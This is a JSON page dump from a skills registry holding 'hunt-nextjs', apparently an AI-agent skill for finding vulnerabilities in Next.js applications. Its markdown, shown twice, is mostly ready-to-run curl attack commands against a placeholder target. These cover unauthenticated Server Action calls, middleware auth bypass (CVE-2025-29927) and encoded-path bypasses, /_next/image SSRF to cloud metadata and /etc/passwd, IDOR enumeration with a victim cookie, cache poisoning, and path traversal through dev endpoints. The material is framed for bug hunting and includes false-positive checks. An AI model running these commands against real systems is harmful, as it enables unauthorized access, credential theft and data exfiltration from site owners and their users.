[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EKJG3AMVENRHZ5BFAYY5WE":3,"skill-same:01M7EKJG3AMVENRHZ5BFAYY5WE":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":26,"commitSha":27,"skillDirectory":28,"forksCount":29,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":32,"updatedAt":33,"install":34,"resources":47},"01M7EKJG3AMVENRHZ5BFAYY5WE","hunt-nextjs",null,"Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (\u002F_next\u002Fimage), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13\u002F14\u002F15 or any React SSR framework.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunt-nextjs\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: hunt-nextjs\ndescription: Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (\u002F_next\u002Fimage), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13\u002F14\u002F15 or any React SSR framework.\nsources: \"cve_database (CVE-2024-34351 \u002F GHSA-fr5h-rqp8-mj6g), Next.js advisories\"\nreport_count: 0\n---\n\n# HUNT-NEXTJS — Next.js \u002F SSR Framework Vulnerabilities\n\n## Crown Jewel Targets\n\nNext.js-specific bugs that bypass auth or reach SSRF = High\u002FCritical.\n\n**Highest-value chains:**\n- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil\n- **Middleware bypass via `\u002F_next\u002Fstatic\u002F`** — middleware skips static asset paths → protected routes accessible via `\u002F_next\u002Fdata\u002F` IDOR\n- **`\u002F_next\u002Fimage` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata\n- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users\n- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client\n\n---\n\n## Attack Surface Signals\n\n```\n\u002F_next\u002Fimage?url=&w=&q=          Image optimizer — SSRF candidate\n\u002F_next\u002Fdata\u002FBUILD_ID\u002F*.json      Prerendered page data — IDOR candidate\n\u002F__nextjs_original-stack-frame   Debug stack frame endpoint\n\u002F_next\u002Fstatic\u002Fchunks\u002F            JS bundles — source map candidate\n\u002Fapi\u002F                            API routes — standard hunt surface\n__NEXT_DATA__ in HTML            SSR props leaked to client\nx-nextjs-* response headers      Confirms Next.js\n```\n\n---\n\n## Phase 1 — Fingerprint & Version Detection\n\n```bash\n# Confirm Next.js and get build ID\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"buildId\":\"[^\"]+\"'\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"x-powered-by\\|x-nextjs\"\n\n# Extract build ID for \u002F_next\u002Fdata\u002F paths\nBUILD_ID=$(curl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"buildId\":\"\\K[^\"]+')\necho \"Build ID: $BUILD_ID\"\n\n# Check Next.js version via package disclosure\ncurl -s https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fframework*.js | grep -oP '\"next\":\"[^\"]+\"'\n\n# Source map exposure\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fpages\u002Findex.js.map\" | head -5\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fmain.js.map\" | head -5\n```\n\n---\n\n## Phase 2 — Server Actions Abuse\n\n```bash\n# Server Actions in Next.js 14+ use x-action-id or Next-Action header\n# Find action IDs in HTML source or JS bundles\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"action\":\"[a-f0-9]+\"'\ngrep -r \"createActionURL\\|$$ACTION_\" recon\u002F$TARGET\u002F --include=\"*.js\" 2>\u002Fdev\u002Fnull\n\n# Call Server Action directly without auth\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Ftarget-page \\\n  -H \"Next-Action: ACTION_ID_HERE\" \\\n  -H \"Content-Type: multipart\u002Fform-data; boundary=----\" \\\n  -H \"Cookie: \" \\\n  --data-raw $'------\\r\\nContent-Disposition: form-data; name=\"1\"\\r\\n\\r\\n[]\\r\\n------\\r\\n'\n\n# Test: does the action execute without a valid session?\n# If it returns data or mutates state → auth enforcement is client-side only\n```\n\n---\n\n## Phase 3 — Middleware Auth Bypass\n\n```bash\n# Next.js middleware runs on edge runtime and may skip certain paths\n# Test protected route directly\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" https:\u002F\u002F$TARGET\u002Fadmin\u002Fdashboard\n# → 200 means accessible\n\n# Test via \u002F_next\u002Fdata\u002F (SSG\u002FISR JSON) — middleware may not apply\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fadmin\u002Fdashboard.json\"\n\n# Test via static asset path prefix (middleware matcher may exclude \u002F_next\u002Fstatic)\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002F..\u002Fadmin\u002Fdashboard\"\n\n# Encoded path bypass\ncurl -s \"https:\u002F\u002F$TARGET\u002F%5Fnext\u002Fdata\u002F$BUILD_ID\u002Fadmin\u002Fusers.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002F..%2Fadmin%2Fusers.json\"\n```\n\n---\n\n### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)\nNext skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth\u002Fredirect middleware on gated routes.\n```bash\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" https:\u002F\u002F$TARGET\u002Fadmin\u002Fdashboard \\\n  -H \"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware\"\n# also: -H \"x-middleware-subrequest: src\u002Fmiddleware\"  and  \"pages\u002F_middleware\"\n# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 \u002F 13.5.9 \u002F 14.2.25 \u002F 15.2.3.\n```\n\n## Phase 4 — Image Optimization SSRF (`\u002F_next\u002Fimage`)\n\n```bash\n# Basic SSRF test — internal metadata\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F&w=64&q=75\"\n\n# Protocol bypass attempts\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=file:\u002F\u002F\u002Fetc\u002Fpasswd&w=64&q=75\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=http:\u002F\u002F127.0.0.1:6379\u002F&w=64&q=75\"\n\n# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused\nCOLLAB=\"http:\u002F\u002FUNIQUE.COLLAB_HOST\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=$COLLAB\u002Fnextjs-ssrf&w=64&q=75\"\n# Check Interactsh\u002FBurp Collaborator for DNS\u002FHTTP callback on that exact subdomain\n```\n\n**FALSE-POSITIVE GUARD (read before claiming SSRF):** `\u002F_next\u002Fimage` only\nfetches URLs allowed by `images.remotePatterns` \u002F `images.domains` in\n`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is\nthe optimizer's normal allowlist rejection, NOT a \"block\" you bypassed. A **200**\nreturns an *optimized image*, not the upstream response body, so a status code\nalone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique\nCollaborator subdomain** (above), or by body-diffing a known-internal vs\nknown-external target. Do not report on status code.\n\n> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0\n> through \u003C 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative\n> redirect that trusts the `Host` header — NOT a `\u002F_next\u002Fimage` bug, and it does\n> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server\n> Actions surface.\n\n---\n\n## Phase 5 — `\u002F_next\u002Fdata\u002F` IDOR & Data Leakage\n\n```bash\n# Enumerate prerendered JSON for user-specific data\n# Pattern: \u002F_next\u002Fdata\u002FBUILD_ID\u002F[page].json or \u002F_next\u002Fdata\u002FBUILD_ID\u002F[dynamic]\u002F[id].json\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fprofile.json\" \\\n  -H \"Cookie: session=VICTIM_SESSION\"\n\n# Try other users' data\nfor ID in 1 2 3 100 1000; do\n  curl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fusers\u002F$ID.json\" | head -3\ndone\n\n# Check __NEXT_DATA__ in HTML for sensitive server-side props\ncurl -s \"https:\u002F\u002F$TARGET\u002Fdashboard\" | \\\n  python3 -c \"import sys,re,json; m=re.search(r'\u003Cscript id=\\\"__NEXT_DATA__\\\"[^>]*>(.*?)\u003C\u002Fscript>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')\"\n```\n\n---\n\n## Phase 6 — ISR Cache Poisoning\n\n```bash\n# ISR pages regenerate on request after revalidation period\n# If user input influences the static page content without sanitization:\n# 1. Trigger revalidation with malicious input in URL\u002Fquery\n# 2. Injected content cached and served to all users\n\n# Test: does query param affect cached page content?\n# Use a UNIQUE marker (not a generic \u003Cscript>) so a match proves YOUR input landed,\n# and confirm the response was actually CACHED + served to a DIFFERENT client.\nMARK=\"zqx$(date +%s)\"\n# 1) Poison with the marker\ncurl -s \"https:\u002F\u002F$TARGET\u002Fblog\u002Ftest-post?preview=\u003Cb>$MARK\u003C\u002Fb>\" -o \u002Fdev\u002Fnull\n# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.\n#    Body-diff clean-vs-poisoned and check x-nextjs-cache \u002F age headers — a reflected\n#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.\ncurl -si \"https:\u002F\u002F$TARGET\u002Fblog\u002Ftest-post\" | grep -iE \"$MARK|x-nextjs-cache|age:\"\n\n# On-demand revalidation endpoint (if exposed)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Frevalidate?secret=GUESS&path=\u002Fblog\u002Ftest\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Frevalidate?token=GUESS&path=\u002Fadmin\"\n```\n\n---\n\n## Phase 7 — Debug & Stack Frame Endpoints\n\n**Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`\nare react-dev-overlay middleware mounted ONLY under `next dev`. A production\nbuild (`next build && next start`) does not register these routes — a 404 here\nis the normal, expected result, not a \"filter\" you need to bypass. They are\nreachable ONLY in the rare misconfiguration of literally running `next dev` in\nproduction. Treat any non-404 as the real finding; do NOT report a 404\u002Ffiltered\nresponse as confirmation.\n\n```bash\n# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  \"https:\u002F\u002F$TARGET\u002F__nextjs_original-stack-frame?isServer=true&errorMessage=test\"\n\n# Only if the above is NOT 404: the launch-editor \u002F stack-frame endpoints can\n# reference local files (file-read surface of a dev server wrongly exposed)\ncurl -s \"https:\u002F\u002F$TARGET\u002F__nextjs_launch-editor?file=..\u002F..\u002Fetc\u002Fpasswd&line=1\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F__nextjs_original-stack-frame\" \\\n  --data '{\"file\":\"\u002Fetc\u002Fpasswd\",\"line\":1,\"column\":1}'\n```\n\n---\n\n## Phase 8 — Environment Variable Leakage\n\n```bash\n# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fpages\u002F_app.js\" | \\\n  grep -oE \"NEXT_PUBLIC_[A-Z_]+['\\\"]?\\s*[:=]\\s*['\\\"]?[^'\\\"&\\s]+\"\n\n# Check for non-public vars accidentally exposed\ncurl -s https:\u002F\u002F$TARGET\u002F | python3 -c \"\nimport sys, re, json\nm = re.search(r'__NEXT_DATA__.*?({.*?})\u003C\u002Fscript>', sys.stdin.read(), re.S)\nif m:\n    d = json.loads(m.group(1))\n    print(json.dumps(d.get('props', {}), indent=2))\n\"\n```\n\n---\n\n## Chain Table\n\n| Next.js finding | Chain to | Impact |\n|----------------|----------|--------|\n| Server Action no auth | Call privileged mutations directly | Data manipulation \u002F admin access |\n| `\u002F_next\u002Fimage` SSRF | Cloud metadata → IAM creds | Cloud compromise |\n| `\u002F_next\u002Fdata\u002F` IDOR | Other users' server-side props | PII \u002F token exfil |\n| Middleware bypass | Protected admin routes | Auth bypass |\n| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |\n| `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys \u002F tokens |\n\n---\n\n## Validation\n\n✅ Server Action: action executes without valid session, returns data or mutates state\n✅ SSRF: DNS\u002FHTTP callback received from `\u002F_next\u002Fimage` SSRF\n✅ Middleware bypass: 200 response on protected route without auth cookie\n✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII\n\n**Severity:**\n- Server Action auth bypass → data mutation: High\u002FCritical\n- Image SSRF → cloud metadata: Critical\n- Middleware bypass → admin panel: High\n- Source map exposure only: Low-Medium\n","# HUNT-NEXTJS — Next.js \u002F SSR Framework Vulnerabilities\n\n## Crown Jewel Targets\n\nNext.js-specific bugs that bypass auth or reach SSRF = High\u002FCritical.\n\n**Highest-value chains:**\n- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil\n- **Middleware bypass via `\u002F_next\u002Fstatic\u002F`** — middleware skips static asset paths → protected routes accessible via `\u002F_next\u002Fdata\u002F` IDOR\n- **`\u002F_next\u002Fimage` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata\n- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users\n- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client\n\n---\n\n## Attack Surface Signals\n\n```\n\u002F_next\u002Fimage?url=&w=&q=          Image optimizer — SSRF candidate\n\u002F_next\u002Fdata\u002FBUILD_ID\u002F*.json      Prerendered page data — IDOR candidate\n\u002F__nextjs_original-stack-frame   Debug stack frame endpoint\n\u002F_next\u002Fstatic\u002Fchunks\u002F            JS bundles — source map candidate\n\u002Fapi\u002F                            API routes — standard hunt surface\n__NEXT_DATA__ in HTML            SSR props leaked to client\nx-nextjs-* response headers      Confirms Next.js\n```\n\n---\n\n## Phase 1 — Fingerprint & Version Detection\n\n```bash\n# Confirm Next.js and get build ID\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"buildId\":\"[^\"]+\"'\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"x-powered-by\\|x-nextjs\"\n\n# Extract build ID for \u002F_next\u002Fdata\u002F paths\nBUILD_ID=$(curl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"buildId\":\"\\K[^\"]+')\necho \"Build ID: $BUILD_ID\"\n\n# Check Next.js version via package disclosure\ncurl -s https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fframework*.js | grep -oP '\"next\":\"[^\"]+\"'\n\n# Source map exposure\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fpages\u002Findex.js.map\" | head -5\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fmain.js.map\" | head -5\n```\n\n---\n\n## Phase 2 — Server Actions Abuse\n\n```bash\n# Server Actions in Next.js 14+ use x-action-id or Next-Action header\n# Find action IDs in HTML source or JS bundles\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"action\":\"[a-f0-9]+\"'\ngrep -r \"createActionURL\\|$$ACTION_\" recon\u002F$TARGET\u002F --include=\"*.js\" 2>\u002Fdev\u002Fnull\n\n# Call Server Action directly without auth\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Ftarget-page \\\n  -H \"Next-Action: ACTION_ID_HERE\" \\\n  -H \"Content-Type: multipart\u002Fform-data; boundary=----\" \\\n  -H \"Cookie: \" \\\n  --data-raw $'------\\r\\nContent-Disposition: form-data; name=\"1\"\\r\\n\\r\\n[]\\r\\n------\\r\\n'\n\n# Test: does the action execute without a valid session?\n# If it returns data or mutates state → auth enforcement is client-side only\n```\n\n---\n\n## Phase 3 — Middleware Auth Bypass\n\n```bash\n# Next.js middleware runs on edge runtime and may skip certain paths\n# Test protected route directly\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" https:\u002F\u002F$TARGET\u002Fadmin\u002Fdashboard\n# → 200 means accessible\n\n# Test via \u002F_next\u002Fdata\u002F (SSG\u002FISR JSON) — middleware may not apply\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fadmin\u002Fdashboard.json\"\n\n# Test via static asset path prefix (middleware matcher may exclude \u002F_next\u002Fstatic)\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002F..\u002Fadmin\u002Fdashboard\"\n\n# Encoded path bypass\ncurl -s \"https:\u002F\u002F$TARGET\u002F%5Fnext\u002Fdata\u002F$BUILD_ID\u002Fadmin\u002Fusers.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002F..%2Fadmin%2Fusers.json\"\n```\n\n---\n\n### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)\nNext skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth\u002Fredirect middleware on gated routes.\n```bash\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" https:\u002F\u002F$TARGET\u002Fadmin\u002Fdashboard \\\n  -H \"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware\"\n# also: -H \"x-middleware-subrequest: src\u002Fmiddleware\"  and  \"pages\u002F_middleware\"\n# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 \u002F 13.5.9 \u002F 14.2.25 \u002F 15.2.3.\n```\n\n## Phase 4 — Image Optimization SSRF (`\u002F_next\u002Fimage`)\n\n```bash\n# Basic SSRF test — internal metadata\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F&w=64&q=75\"\n\n# Protocol bypass attempts\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=file:\u002F\u002F\u002Fetc\u002Fpasswd&w=64&q=75\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=http:\u002F\u002F127.0.0.1:6379\u002F&w=64&q=75\"\n\n# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused\nCOLLAB=\"http:\u002F\u002FUNIQUE.COLLAB_HOST\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=$COLLAB\u002Fnextjs-ssrf&w=64&q=75\"\n# Check Interactsh\u002FBurp Collaborator for DNS\u002FHTTP callback on that exact subdomain\n```\n\n**FALSE-POSITIVE GUARD (read before claiming SSRF):** `\u002F_next\u002Fimage` only\nfetches URLs allowed by `images.remotePatterns` \u002F `images.domains` in\n`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is\nthe optimizer's normal allowlist rejection, NOT a \"block\" you bypassed. A **200**\nreturns an *optimized image*, not the upstream response body, so a status code\nalone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique\nCollaborator subdomain** (above), or by body-diffing a known-internal vs\nknown-external target. Do not report on status code.\n\n> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0\n> through \u003C 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative\n> redirect that trusts the `Host` header — NOT a `\u002F_next\u002Fimage` bug, and it does\n> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server\n> Actions surface.\n\n---\n\n## Phase 5 — `\u002F_next\u002Fdata\u002F` IDOR & Data Leakage\n\n```bash\n# Enumerate prerendered JSON for user-specific data\n# Pattern: \u002F_next\u002Fdata\u002FBUILD_ID\u002F[page].json or \u002F_next\u002Fdata\u002FBUILD_ID\u002F[dynamic]\u002F[id].json\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fprofile.json\" \\\n  -H \"Cookie: session=VICTIM_SESSION\"\n\n# Try other users' data\nfor ID in 1 2 3 100 1000; do\n  curl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fusers\u002F$ID.json\" | head -3\ndone\n\n# Check __NEXT_DATA__ in HTML for sensitive server-side props\ncurl -s \"https:\u002F\u002F$TARGET\u002Fdashboard\" | \\\n  python3 -c \"import sys,re,json; m=re.search(r'\u003Cscript id=\\\"__NEXT_DATA__\\\"[^>]*>(.*?)\u003C\u002Fscript>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')\"\n```\n\n---\n\n## Phase 6 — ISR Cache Poisoning\n\n```bash\n# ISR pages regenerate on request after revalidation period\n# If user input influences the static page content without sanitization:\n# 1. Trigger revalidation with malicious input in URL\u002Fquery\n# 2. Injected content cached and served to all users\n\n# Test: does query param affect cached page content?\n# Use a UNIQUE marker (not a generic \u003Cscript>) so a match proves YOUR input landed,\n# and confirm the response was actually CACHED + served to a DIFFERENT client.\nMARK=\"zqx$(date +%s)\"\n# 1) Poison with the marker\ncurl -s \"https:\u002F\u002F$TARGET\u002Fblog\u002Ftest-post?preview=\u003Cb>$MARK\u003C\u002Fb>\" -o \u002Fdev\u002Fnull\n# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.\n#    Body-diff clean-vs-poisoned and check x-nextjs-cache \u002F age headers — a reflected\n#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.\ncurl -si \"https:\u002F\u002F$TARGET\u002Fblog\u002Ftest-post\" | grep -iE \"$MARK|x-nextjs-cache|age:\"\n\n# On-demand revalidation endpoint (if exposed)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Frevalidate?secret=GUESS&path=\u002Fblog\u002Ftest\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Frevalidate?token=GUESS&path=\u002Fadmin\"\n```\n\n---\n\n## Phase 7 — Debug & Stack Frame Endpoints\n\n**Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`\nare react-dev-overlay middleware mounted ONLY under `next dev`. A production\nbuild (`next build && next start`) does not register these routes — a 404 here\nis the normal, expected result, not a \"filter\" you need to bypass. They are\nreachable ONLY in the rare misconfiguration of literally running `next dev` in\nproduction. Treat any non-404 as the real finding; do NOT report a 404\u002Ffiltered\nresponse as confirmation.\n\n```bash\n# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  \"https:\u002F\u002F$TARGET\u002F__nextjs_original-stack-frame?isServer=true&errorMessage=test\"\n\n# Only if the above is NOT 404: the launch-editor \u002F stack-frame endpoints can\n# reference local files (file-read surface of a dev server wrongly exposed)\ncurl -s \"https:\u002F\u002F$TARGET\u002F__nextjs_launch-editor?file=..\u002F..\u002Fetc\u002Fpasswd&line=1\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F__nextjs_original-stack-frame\" \\\n  --data '{\"file\":\"\u002Fetc\u002Fpasswd\",\"line\":1,\"column\":1}'\n```\n\n---\n\n## Phase 8 — Environment Variable Leakage\n\n```bash\n# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fpages\u002F_app.js\" | \\\n  grep -oE \"NEXT_PUBLIC_[A-Z_]+['\\\"]?\\s*[:=]\\s*['\\\"]?[^'\\\"&\\s]+\"\n\n# Check for non-public vars accidentally exposed\ncurl -s https:\u002F\u002F$TARGET\u002F | python3 -c \"\nimport sys, re, json\nm = re.search(r'__NEXT_DATA__.*?({.*?})\u003C\u002Fscript>', sys.stdin.read(), re.S)\nif m:\n    d = json.loads(m.group(1))\n    print(json.dumps(d.get('props', {}), indent=2))\n\"\n```\n\n---\n\n## Chain Table\n\n| Next.js finding | Chain to | Impact |\n|----------------|----------|--------|\n| Server Action no auth | Call privileged mutations directly | Data manipulation \u002F admin access |\n| `\u002F_next\u002Fimage` SSRF | Cloud metadata → IAM creds | Cloud compromise |\n| `\u002F_next\u002Fdata\u002F` IDOR | Other users' server-side props | PII \u002F token exfil |\n| Middleware bypass | Protected admin routes | Auth bypass |\n| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |\n| `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys \u002F tokens |\n\n---\n\n## Validation\n\n✅ Server Action: action executes without valid session, returns data or mutates state\n✅ SSRF: DNS\u002FHTTP callback received from `\u002F_next\u002Fimage` SSRF\n✅ Middleware bypass: 200 response on protected route without auth cookie\n✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII\n\n**Severity:**\n- Server Action auth bypass → data mutation: High\u002FCritical\n- Image SSRF → cloud metadata: Critical\n- Middleware bypass → admin panel: High\n- Source map exposure only: Low-Medium\n",{"name":5,"sources":24,"description":7,"report_count":25},"cve_database (CVE-2024-34351 \u002F GHSA-fr5h-rqp8-mj6g), Next.js advisories",0,"main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fhunt-nextjs",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-nextjs",{"tool":40,"command":41},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-nextjs",{"tool":43,"command":44},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-nextjs","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunt-nextjs\u002FSKILL.md",true,[],[49,57,62,69,76,83],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":56},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":58,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":56},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":56},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import 